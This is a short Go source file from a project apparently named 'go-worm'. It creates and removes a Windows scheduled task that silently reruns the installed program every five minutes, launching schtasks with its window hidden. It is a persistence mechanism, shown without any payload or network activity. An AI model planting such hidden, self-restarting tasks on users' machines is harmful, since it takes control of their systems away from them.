package startup import ( "fmt" "os/exec" "strings" "syscall" "golang.org/x/sys/windows" "tea.chunkbyte.com/kato/go-worm/lib/config" ) func enableWatchdog() error { exe, err := config.InstalledExe() if err != nil { return err } tr := fmt.Sprintf(`"%s" -ensure`, exe) return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F") } func disableWatchdog() error { err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F") if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") { return nil } return err } func runSchtasks(args ...string) error { cmd := exec.Command("schtasks", args...) cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} out, err := cmd.CombinedOutput() if err != nil { msg := strings.TrimSpace(string(out)) if msg == "" { msg = err.Error() } return fmt.Errorf("schtasks: %s", msg) } return nil }